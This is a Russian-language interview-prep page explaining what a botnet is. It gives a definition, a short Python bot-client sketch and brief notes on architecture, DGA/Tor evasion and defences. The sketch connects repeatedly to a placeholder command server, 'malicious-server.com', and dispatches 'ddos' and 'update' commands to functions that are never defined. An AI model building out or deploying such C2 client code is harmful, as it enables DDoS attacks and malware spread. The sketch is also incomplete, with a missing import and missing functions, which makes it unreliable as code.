Встречается на собеседованиях • сегодня

Что такое Botnet

Botnet — это сеть заражённых устройств (ботов), управляемых злоумышленником (бот-мастером) для выполнения автоматизированных атак, например DDoS, рассылки спама или кражи данных.

Пример кода (упрощённый бот-клиент на Python):

python
import socket
import threading

def connect_to_c2():
    c2_server = "malicious-server.com"
    port = 6666
    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((c2_server, port))
            while True:
                command = s.recv(1024).decode()
                if command == "ddos":
                    # Запуск DDoS-атаки
                    attack_target()
                elif command == "update":
                    # Загрузка обновлённого вредоносного ПО
                    download_update()
        except:
            time.sleep(60)  # Переподключение при ошибке

Нюансы:

  • Ботнеты используют P2P или централизованную архитектуру (C&C-сервер).
  • Для маскировки применяют домены-генераторы (DGA) или Tor.
  • Защита: антивирусы, анализ сетевого трафика, блокировка подозрительных IP.

⚠️ Создание ботнетов незаконно! Пример приведён для образовательных целей.

Sophi
Софи собрала все вопросы. Тренируйся и получай
офферы быстрее!
Попробовать бесплатноArrow

Следующий вопрос

Это единственный вопрос по вашему фильтру

как отвечать на вопрос
пример собеседования
фреймворки на собеседовании
типичные вопросы junior
интервью вопросы и ответы